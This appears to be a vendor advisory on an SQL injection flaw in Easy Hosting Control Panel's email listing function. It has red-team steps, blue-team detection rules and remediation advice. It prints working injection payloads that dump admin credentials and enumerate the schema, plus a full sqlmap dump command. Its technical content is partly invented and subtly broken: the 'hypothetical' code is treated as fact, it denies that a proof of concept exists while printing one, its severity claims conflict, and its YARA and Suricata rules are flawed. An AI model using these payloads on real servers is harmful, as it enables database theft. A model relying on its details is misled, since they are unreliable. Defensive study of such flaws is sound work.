CVE-2025-50926

Executive Summary

CVE-2025-50926 is a critical SQL injection vulnerability discovered in Easy Hosting Control Panel (EHCP) version v20.04.1.b. The flaw resides in the List All Email Addresses function, where the id parameter is not properly sanitized before being used in a SQL query. This allows an authenticated attacker with low privileges to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete compromise of the underlying database server. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the nature of the flaw, it is assessed as critical. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using EHCP.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in the Easy Hosting Control Panel software.

CVSS Breakdown & Threat Level

Based on the vulnerability characteristics, the following CVSS v3.1 vector is assessed:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs a valid low-privilege account to access the vulnerable function.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)
Threat Level: Critical – Due to the lack of a patch and the potential for full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the List All Email Addresses function of EHCP v20.04.1.b. This function is likely used by administrators or resellers to view all email accounts associated with a domain or hosting package. The id parameter is passed directly into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path (Hypothetical):

// Vulnerable PHP code in EHCP
$id = $_GET['id'];
$query = "SELECT * FROM email_accounts WHERE domain_id = $id";
$result = mysqli_query($conn, $query);

An attacker can manipulate the id parameter to break out of the intended SQL context. For example:

GET /ehcp/index.php?action=listEmails&id=1 UNION SELECT username,password,email,1,2,3 FROM admin_users--

This would return the admin credentials alongside the email list. The injection can be used to extract data, modify records, or execute system commands if the database user has sufficient privileges (e.g., xp_cmdshell on MSSQL or INTO OUTFILE on MySQL).

Key Technical Details:

• Vulnerable Endpoint: /ehcp/index.php?action=listEmails&id=[INJECTION]
• HTTP Method: GET
• Authentication Required: Yes (low-privilege user)
• Database Type: Likely MySQL (common for PHP applications)
• Impact: Full database compromise, potential RCE via INTO OUTFILE or stacked queries.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

$id = $_GET['id'];
$query = "SELECT * FROM email_accounts WHERE domain_id = $id";
$result = mysqli_query($conn, $query);

Patched Code (PHP):

$id = intval($_GET['id']);
$query = "SELECT * FROM email_accounts WHERE domain_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched code uses intval() to force the input to an integer and then uses a prepared statement with parameterized queries. This completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install EHCP v20.04.1.b on a local VM (e.g., Ubuntu 20.04).
2. Create a low-privilege user account.
3. Access the List All Email Addresses function.

Exploitation Steps:

1. Log in with low-privilege credentials.
2. Intercept the request to index.php?action=listEmails&id=1 using Burp Suite.
3. Modify the id parameter to test for SQL injection:

   id=1' OR '1'='1
   

4. If successful, extract data using UNION-based injection:

   id=1 UNION SELECT 1,2,3,4,5,6--
   

5. Enumerate database tables and columns:

   id=1 UNION SELECT table_name,2,3,4,5,6 FROM information_schema.tables--
   

6. Dump admin credentials:

   id=1 UNION SELECT username,password,email,4,5,6 FROM admin_users--
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/ehcp/index.php?action=listEmails&id=1" --cookie="PHPSESSID=your_session" --batch --dump

Blue Team

Detection:

• Monitor for abnormal SQL query patterns in database logs.
• Look for HTTP requests with suspicious id parameter values (e.g., containing UNION, SELECT, OR, --).
• Alert on multiple failed login attempts followed by SQL injection attempts.

Hunting:

• Search web server logs for requests to index.php?action=listEmails with unusual id values.
• Use the Sigma rule below to detect SQL injection patterns in web logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /ehcp/index.php?action=listEmails with id parameter containing SQL keywords (UNION, SELECT, OR, AND, --, #).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File IOCs:
  • Unexpected files in /tmp/ or web root (e.g., outfile.txt from INTO OUTFILE).
  • Modified EHCP PHP files (backdoors).
• System IOCs:
  • Unusual database queries in MySQL logs (e.g., SELECT * FROM mysql.user).
  • New user accounts or elevated privileges.

Detection Engineering

YARA Rule

rule CVE_2025_50926_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting EHCP List All Email Addresses function"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-50926"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR" nocase
        $sqli5 = "--" nocase
        $sqli6 = "1=1" nocase
        $sqli7 = "information_schema" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against EHCP List All Email Addresses
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts in the id parameter of the EHCP List All Email Addresses function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "action=listEmails"
            - "id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in a query (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-50926 - SQL Injection Attempt Against EHCP List All Email Addresses";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/ehcp/index.php"; http_uri;
    content:"action=listEmails"; http_uri;
    content:"id="; http_uri;
    pcre:"/id=[^&]*(UNION|SELECT|OR|AND|--|#)/Ui";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the EHCP server from the internet if possible.
2. Disable the List All Email Addresses function or restrict access to trusted IPs only.
3. Apply a Web Application Firewall (WAF) rule to block SQL injection patterns in the id parameter.

Long-term Fix:

• Since no official patch is available, the vendor must be contacted to release a fix.
• As a workaround, manually patch the vulnerable PHP file by replacing the direct query with a parameterized prepared statement (see patched code above).
• Upgrade to a newer version of EHCP if available.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for exploitation attempts.
• Scan for backdoors or webshells in the web root.
• Rotate all credentials stored in the database.

Valters IT